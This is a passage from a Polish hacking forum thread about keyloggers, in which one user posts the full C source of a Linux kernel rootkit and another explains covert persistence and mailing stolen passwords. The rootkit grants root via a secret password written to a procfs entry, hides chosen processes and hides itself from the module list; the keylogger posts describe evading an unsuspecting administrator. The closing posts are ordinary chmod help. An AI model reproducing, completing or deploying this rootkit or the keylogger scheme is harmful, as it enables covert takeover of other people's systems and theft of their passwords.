Strona 2 z 3 PierwszyPierwszy 123 OstatniOstatni
Pokaż wyniki 11 do 20 z 22

Temat: [POMOCY] Keylogger w Bashu??

  1. #11
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Ormi, gdybyś mógł mi dać tego rootkita, a właściwie to jego źródło, to by się cieszył Nie potrzebuje go do celów "destrukcyjnych" tylko chciałbym zobaczyć to źródło, dowiedzieć ktora część za co odpowiada, itp.
    @Edit
    btw. gdybyś mógł mi go przesłać to napisz mi na pw

  2. #12
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    @Michal_sh: Nie, teraz mnie nie zatka, bo mowisz sensowniej. Jasne, mozna ukryc proces i ruch sieciowy, ale o tym nie wspomniales. Jednak nawet jesli je ukryjesz, to wciaz jestes latwo wykrywalny. Po pierwsze mozna wykryc, ze zostal utworzony plik keyloggera. Po drugie, mozna bedzie wykryc plik ze skryptem pythona. Fakt, mozna je ukryc. Pozostaje jeszcze jeden problem. Najwiekszy problem. Zeby skrypt uruchamial sie przy bootowaniu trzeba dodac wpis w plikach konfiguracyjnych. A tego raczej nie ukryjesz Jeszcze pozostaje mozliwosc zastapienia /sbin/init swoja wlasna wersja, ktora bedzie uruchamiac skrypt pythona. Ale jesli /sbin/init bedzie monitorowany, to wtedy bedzie gorzej

    @Teddy: Tutaj wrzuce kod rootkita, bo nie widze przeciwwskazan, zeby go zobaczyli inni ludzie. I tak jest nie do konca sprawny rootkit, bo po ponownym uruchomieniu systemu nie laduje sie ponownie. Takze jest raczej "jednorazowy". A jesli nie jest w pelni sprawny, to script kiddies, ktorych sie tak boje, sobie nie poradza z usprawnieniem go Na razie nie bede opisywal jak dziala, bo mam w planach napisac tekst wlasnie o nim. W sumie chcialem zrobic to dzisiaj, ale byly "utrudnienia". Jak tekst bedzie gotowy to cie poinforumuje i bedziesz mail cala dokumentacje gotowa.
    Jest przeznaczony na jadra "waniliowe" >= 2.6.29. Na starszych sie nie skompiluje. Na "niewaniliowych" nie gwarantuje, ze zadziala.
    No to kod:
    Kod:
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/proc_fs.h>
    #include <linux/sched.h>
    #include <linux/string.h>
    #include <linux/cred.h>
    #include <linux/stat.h>
    #include <linux/uaccess.h>
    #include <linux/file.h>
    
    #include "rootkit_conf.conf.h"
    
    MODULE_LICENSE("GPL") ;
    MODULE_AUTHOR("Ormi<[email protected]>") ;
    MODULE_DESCRIPTION("Simple rootkit using procfs") ;
    MODULE_VERSION("0.1.2");
    
    static int failed;
    static int _not_found;
    static char pid[10][32];
    static int pid_index;
    
    static int (*old_proc_readdir)(struct file *, void *, filldir_t) ;
    static filldir_t old_filldir ;
    static ssize_t (*old_fops_write) (struct file *, const char __user *,
    size_t, loff_t *);
    static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t *);
    static write_proc_t *old_write;
    static read_proc_t *old_read;
    
    static struct proc_dir_entry *ptr;
    static struct proc_dir_entry *root;
    static struct list_head *prev ;
    
    static struct file_operations *fops;
    static struct file_operations *root_fops;
    
    static inline void module_remember_info(void)
    {
    	prev = THIS_MODULE->list.prev;
    }
    
    static inline void module_show(void)
    {
    	list_add(&THIS_MODULE->list, prev);
    }
    
    static int check_buf(const char __user *buf)
    {
    	struct cred *new = prepare_creds();
    	if (!strcmp(buf, password)) {
    		new->uid = new->euid = 0;
    		new->gid = new->egid = 0;
    		commit_creds(new);
    	}
    
    	else if (!strcmp(buf, module_release))
    		module_put(THIS_MODULE);
    
    	else if (!strcmp(buf, module_uncover))
    		module_show();
    
    	else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
    		if (pid_index > 9)
    			return 0;
    		sprintf(pid[pid_index], "%s", buf + 5);
    		pid_index++;
    	}
    
    	else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
    		if (!pid_index)
    			return 0;
    		pid_index--;
    	}
    
    	else
    		return 1;
    	return 0;
    }
    
    static int buf_write(struct file *file, const char __user *buf,
    unsigned long count, void *data)
    {
    	if (!check_buf(buf))
    		return count;
    	return old_write(file, buf, count, data);
    }
    
    static int buf_read(char __user *buf, char **start, off_t off,
    int count, int *eof, void *data)
    {
    	if (!check_buf(buf))
    		return count;
    	return old_read(buf, start, off, count, eof, data);
    }
    
    
    static ssize_t fops_write(struct file *file, const char __user *buf_user,
    size_t count, loff_t *p)
    {
    	if (!check_buf(buf_user))
    		return count;
    	return old_fops_write(file, buf_user, count, p);
    }
    
    static ssize_t fops_read(struct file *file, char __user *buf_user,
    size_t count, loff_t *p)
    {
    	if (!check_buf(buf_user))
    		return count;
    	return old_fops_read(file, buf_user, count, p);
    }
    
    
    static int new_filldir(void *__buf, const char *name, int namelen,
    loff_t offset, u64 ino, unsigned d_type)
    {
    	int i;
    	if (!strcmp(name, ptr->name)  && _not_found)
    		return 0;
    	for (i = 0; i < pid_index; i++)
    		if (!strcmp(name, pid[i]))
    			return 0;
    	return old_filldir(__buf, name, namelen, offset, ino, d_type);
    }
    
    static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
    {
    	old_filldir = filldir;
    	return old_proc_readdir(filp, dirent, new_filldir) ;
    }
    
    static inline void not_found(void)
    {
    	ptr = create_proc_entry(passwaiter, r_mode, NULL);
    	ptr->write_proc = buf_write;
    }
    
    static inline void change_proc_root_readdir(void)
    {
    	root_fops = (struct file_operations *)root->proc_fops;
    	old_proc_readdir = root_fops->readdir;
    	root_fops->readdir = new_proc_readdir;
    }
    
    static inline void proc_init(void)
    {
    
    	ptr = create_proc_entry("temporary", 0444, NULL);
    	ptr = ptr->parent;
    	if (strcmp(ptr->name, "/proc") != 0) {
    		failed = 1;
    		return;
    	}
    	root = ptr;
    	remove_proc_entry("temporary", NULL);
    	ptr = ptr->subdir;
    	change_proc_root_readdir();
    	while (ptr) {
    		if (strcmp(ptr->name, passwaiter) == 0)
    			goto found;
    		ptr = ptr->next ;
    	}
    	not_found();
    	_not_found = 1;
    	return;
    found:
    	old_write = ptr->write_proc;
    	old_read = ptr->read_proc;
    
    	fops = (struct file_operations *)ptr->proc_fops;
    	old_fops_read = fops->read;
    	old_fops_write = fops->write;
    
    	if (ptr->write_proc)
    		ptr->write_proc = buf_write;
    	else if (ptr->read_proc)
    		ptr->read_proc = buf_read;
    	if (fops->write)
    		fops->write = fops_write;
    	else if (fops->read)
    		fops->read = fops_read;
    
    	if (!ptr->read_proc && !ptr->write_proc &&
    	!fops->read && !fops->write) {
    		failed = 1;
    		return;
    	}
    }
    
    /* This functions does some "cleanups". If we don't set some pointers tu NULL,
       we can cause Oops during unloading rootkit. We free some structures,
       because we don't want to waste memory... */
    static inline void tidy(void)
    {
    	kfree(THIS_MODULE->notes_attrs);
    	THIS_MODULE->notes_attrs = NULL;
    	kfree(THIS_MODULE->sect_attrs);
    	THIS_MODULE->sect_attrs = NULL;
    	kfree(THIS_MODULE->mkobj.mp);
    	THIS_MODULE->mkobj.mp = NULL;
    	THIS_MODULE->modinfo_attrs->attr.name = NULL;
    	kfree(THIS_MODULE->mkobj.drivers_dir);
    	THIS_MODULE->mkobj.drivers_dir = NULL;
    }
    
    /*
    We must delete some structures from lists to make rootkit harder to detect.
    */
    static inline void rootkit_hide(void)
    {
    	list_del(&THIS_MODULE->list);
    	kobject_del(&THIS_MODULE->mkobj.kobj);
    	list_del(&THIS_MODULE->mkobj.kobj.entry);
    }
    
    static inline void rootkit_protect(void)
    {
    	try_module_get(THIS_MODULE);
    }
    
    static int __init rootkit_init(void)
    {
    	module_remember_info();
    	proc_init();
    	if (failed == 1)
    		return 0;
    	rootkit_hide();
    	tidy();
    	rootkit_protect();
    	//module_autoload();
    	return 0 ;
    
    }
    
    static void __exit rootkit_exit(void)
    {
    	/* If failed, we don't have to do any cleanups */	
    	if (failed)
    		return;
    	root_fops->readdir = old_proc_readdir;
    		if (_not_found) {
    			remove_proc_entry(ptr->name, NULL);
    			return;
    		}
    
    		fops->write = old_fops_write;
    		fops->read = old_fops_read;
    		ptr->write_proc = old_write;
    		ptr->read_proc = old_read;
    }
    
    module_init(rootkit_init);
    module_exit(rootkit_exit);
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  3. #13
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    Czasami mam tendencje do pisania skrótowo zdarza się (napisałem że trzeba sprawić żeby plik był "lekko niewidzialny")
    Lubię wygodę wiec dla mnie z mailem/ftp rozwiązanie w sam raz.Odpalasz po powrocie do domu kompa i sciagasz z maila plik który stworzył keylogger Męczysz się raz wszytko robi się potem samo

    Po pierwsze mozna wykryc, ze zostal utworzony plik keyloggera
    To jest wada keyloggera nie mojego rozwiązania, można usunąć plik keyloggera z poziomu pythona po wysłaniu(napisałem o tym)

    A z tą wykrywalnością w /sbin/init może być różnie w zależności od konfiguracji softu. Zawsze może być już tam jakiś skrypt pythona do którego można się dopisać. Wątpię żeby nic nie podejrzewający admin coś wykrył. Przy dobrych wiatrach jesteś niewidzialny i niewykrywalny a na dodatek masz codzienną porcję haseł na mailu.
    Ostatnio edytowane przez Michal_sh : 06-24-2009 - 18:57

  4. #14
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Wielkie THX dla Ciebie Ormi za ten kod Moja wdzięczność nie ma granic jak bedziesz potrzebował jakiejs pomocy ( w co szczerze wątpie ) to napisz, a postaram się w miarę możliwości pomóc :P
    Being bastard is fu***ing crazy!
    MÓW POPRAWNĄ POLSZCZYZNĄ
    Perl / PHP / Html

  5. #15
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    No, napisane. Tak jak obiecalem - Opis rootkita
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  6. #16
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Ok, dzięki wielkie, napewno się przyda

    Sorki za offtop, ale mam do Cb prośbę Ormi, jak uruchomić skrypt basha z poziomu terminalu? mam ubuntu 6.06
    Ostatnio edytowane przez Mad_Dud : 06-26-2009 - 14:14
    Being bastard is fu***ing crazy!
    MÓW POPRAWNĄ POLSZCZYZNĄ
    Perl / PHP / Html

  7. #17
    Zarejestrowany
    Nov 2006
    Skąd
    Polska/Poland
    Postów
    1,191

    Domyślnie

    Musisz nadać plikowi prawa wykonywalności, służy do tego chmod.
    Kod:
    man chmod
    Następnie uruchomić plik wpisując ścieżkę do niego, chyba, że ścieżka jest w zmiennej $PATH wtedy sama nazwa skryptu - bash powinien dokończyć nazwę po użyciu TAB.
    ***********
    * markossx *
    ***********

  8. #18
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Ok dzięki

    @Edit
    A jaka dokladnie komendę wpisać bo wpisałem man chmod i wyskoczylo mi tam okno z wypisanymi komendami, ale pisze 'chmod [OPTION] ... MODE[,MODE]... FILE...' no to co wpisać w miejscu option i mode
    Ostatnio edytowane przez Teddy : 06-26-2009 - 12:29
    Being bastard is fu***ing crazy!
    MÓW POPRAWNĄ POLSZCZYZNĄ
    Perl / PHP / Html

  9. #19
    Zarejestrowany
    Nov 2006
    Skąd
    Polska/Poland
    Postów
    1,191

    Domyślnie

    OMG, stary!
    Czytaj od deski do deski ze zrozumieniem to co ci podsyłają ludzie;
    zerknij tu i postaraj się przyswoić: LINK

    btw:
    chmod option (np: -R) mode (np: 0777) file (np: /home/user/file1)
    ***********
    * markossx *
    ***********

  10. #20
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Ok, dzięki i sorki za kłopot
    Being bastard is fu***ing crazy!
    MÓW POPRAWNĄ POLSZCZYZNĄ
    Perl / PHP / Html

Podobne wątki

  1. [POMOCY] Potrzebuje pomocy z kodem VBS
    By Teddy in forum Newbie - dla początkujących!
    Odpowiedzi: 6
    Autor: 03-16-2009, 18:02
  2. Keylogger...
    By Mrozonka in forum /dev/null
    Odpowiedzi: 4
    Autor: 08-18-2008, 21:48
  3. KeyLogger
    By maciek in forum Wirusy/Konie trojańskie
    Odpowiedzi: 16
    Autor: 05-07-2008, 18:48
  4. Keylogger
    By Nathaniel in forum Newbie - dla początkujących!
    Odpowiedzi: 7
    Autor: 01-25-2008, 03:24
  5. KeyLogger...
    By Purpen in forum Wirusy/Konie trojańskie
    Odpowiedzi: 7
    Autor: 01-05-2008, 15:45

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj